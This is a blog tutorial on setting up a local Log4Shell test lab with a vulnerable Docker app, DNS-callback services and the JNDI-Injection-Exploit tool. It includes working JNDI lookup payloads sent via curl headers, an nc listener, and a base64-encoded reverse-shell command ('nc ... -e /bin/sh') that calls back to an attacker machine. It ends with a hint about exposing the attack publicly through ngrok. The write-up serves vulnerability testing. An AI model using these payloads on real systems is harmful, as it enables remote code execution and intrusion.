Log4Shell Quick Lab Setup for Testing


Last month, On December 09 2021, The release of a Remote Code Execution POC over twitter involving exploitation of Apache’s log4j2 logging class took everyone’s peace away. The attack was pretty simple and the fact that it can be easily exploited by anyone is what made this more terrifying. The first edition of this attack which was exploited in the wild was based on exploitation of JNDILookup class, which simply has the power to fetch any system variable and when used with Context class in log4j2, it has the power to resolve remote resource and execute it locally. Now, JNDI itself work with other protocols like LDAP, RMI, CORBA,DNS etc. and there are times when attackers used RMI and DNS as part of the attack vectors as well.

After the JNDILookup exploit and a quick attempt by Apache to release a fix for this as soon as they can(which was needed at that time), Due to lesser time and more ground to cover, there were three other CVE released > 2nd one exploited non-default pattern layout in Context Lookup, 3rd one exploited the context class lookup again causing DOS and the last one which is currently being taken care of caused RCE exploiting via JDBC Appender in a certain scenario. You can find all the details of these attacks over here: https://logging.apache.org/log4j/2.x/security.html and to get more context on JNDILookup exploit you can check here : https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/

This article is created to gather up existing tools to create your own quick lab of Log4J for testing purpose.

Requirements:

  1. Vmware/Virtualbox
  2. Vulnerable App used : https://github.com/christophetd/log4shell-vulnerable-app

Below are the resources I have used:

  1. Wireshark
  2. Dnslog.cn
  3. Log4shell.tools
  4. Exploit Lab : JNDIExploit (https://github.com/welk1n/JNDI-Injection-Exploit) or Marshelsec (https://github.com/mbechler/marshalsec.git)

I am using above publicly available tools to show you what can be done in the real testing scenario, wherein vulnerable-app can be your own product and Exploit Lab can be used to check the level of exploitation that can be done on to it. But if you do not want to use JNDIExploit or marshalsec setup, you can use dnslog.cn or log4shell.tools to see if the initial step of DNS lookup is happening from your product.

Points to Remember:

  • Log4j2 is a logging library, meaning in a website( mostly java based frameworks[not neccesarily]) there are certain parameters which are fetched from the system/web users which will be logged later. These parameters can be anything from HTTP header information to the any search parameter or login parameters. JNDILookup method in these scenarios is called via Logging method itself when a certain payload is sent like jndi:ldap://anyip.com/object
  • When the payload ${jndi:ldap://ip.com/object} is sent to the target, the first thing that happens is the DNS lookup for <ip.com>, so a dns request will happen first.
  • If you have a way to see DNS lookup is happening then that will work, otherwise if you do not have a way to see if the testing lab making a connection to your attacking site, you can also create a PHP script which can fetch IP addresses of the host making request to your server. That way also you can make sure if your target is making a connection to your attacking server.

Running Vulnerable App:
In the github article for log4shell-vulnerable-app, the article guides you to run the docker image and you can also build it locally if you’d like.

A quick docker command to get the vulnerable-app running is below:

#sudo docker run --name vulnerable-app --rm -p 8080:8080 gh cr.io/christophetd/log4shell-vulnerable-app

 

Now you will have a vulnerable app and you can check the behavior of logging library when payload ${jndi:ldap://anyip.com/object} is sent to this server.

I used this payload on my attacking server towards the target IP of Vulnerable-app :

#curl <testing-server ip and port> -H 'X-Api-Version: ${jndi:ldap://anyip.com:1389/Basic/Command/}

 

  1. Wireshark:
    The Wireshark capture shows that the docker container did the DNS lookup when such a request came in, this is one method that can be used to check if the logging information is not available to you from the testing product.When an IP is used instead of domain name, you will see the TCP packets being sent towards that IP. Again, this test is for local visibility.
    Output of vulnerable-app:
  2. dnslog.cn
    Another way which can be used to do quick test for log4shell is through dnslog.cn. This website provides a subdomain and tells you each time a device/ip tries to make a dns request towards that subdomain. This is a pretty neat technique to see if your application is vulnerable to log4j.Again by making use payload #curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://izwpf2.dnslog.cn}’, when I made request to the vulnerable-app, I saw the results:
    Logging messages on vulnerable app:

  3. log4shell.tools
    This technique is also similar to dnslog.cn, there is another website which can help you do this test : log4shell.tools.It will also give you a test token and lookout for dns query made from hosts on which you would test this scenario. After throwing in the payload you will see requests as below:
  4. Exploit Labs – JNDIExploit(https://github.com/welk1n/JNDI-Injection-Exploit) and Marshelsec (https://github.com/mbechler/marshalsec.git) both of these exploit labs are Jar based ldap and http servers which has the exploitation payload classes written already for you. I like JNDI Injection Exploit better than Marshelsec because it has more exploit classes, but it depends on your choice. In this post I will be showing JNDI Injection Exploit on the vulnerable lab to get a shell remotely in a local environment.My Lab setup:
    1. Vmware with ubuntu machine [this is running vulnerable app docker container] – 192.168.1.6
    2. Kali machine which I am using as an attacker machine with JNDIexploit Jar running on it.- 192.168.1.4After downloading JNDIExploitkit,

    Run the jar using below command:

    #java -jar JNDIExploitjar -i 192.168.1.4


    Above the IP 192.168.1.4 is of my attacking server and here we are binding the JNDIExploit code to the ports for Ldap – 1389 and HTTP – 8080 to the IP address we gave. You can change both the port numbers as per your choice as well, but here I am using default configuration.Turn on the port listener through nc on the attacking machine:

    #nc -lvp 9191

    I am using 9191 as the port number which will listen to any incoming connections.
    After the above setup, Run below command from anywhere(from attacking machine or any machine with the reachability to the target):

    #curl <target IP and port> -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjQgOTE5MSAtZSAvYmluL3No}'

    Dissecting above command: we are using curl to send an Http request to the target and as the header param, we are using ‘X-Api-Version’ since we know in our vulnerable app this is the exploitable parameter which is being logged. ${jndi:ldap://192.168.1.4:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjQgOTE5MSAtZSAvYmluL3No}, this is our payload which will ask the logging library to call JNDI and do the necessary lookup towards our attacking server where we already have exploit in action and which once injected will help execute the command bmMgMTkyLjE2OC4xLjQgOTE5MSAtZSAvYmluL3No which is the base64 encoding of “nc 192.168.1.4 9191 -e /bin/sh” without quotes.

    Check JNDIExploit command line output:

    Check your nc listener now, you will have the shell:

 

The above test is done locally but I believe this can be used with ngrok or other tunneling tools which can help you execute this in a pubic remote environment. Also there are many other resources that can help you test your product such as interact.sh, canarytokens etc. They will work similar to dnslog.cn and log4shell.tools.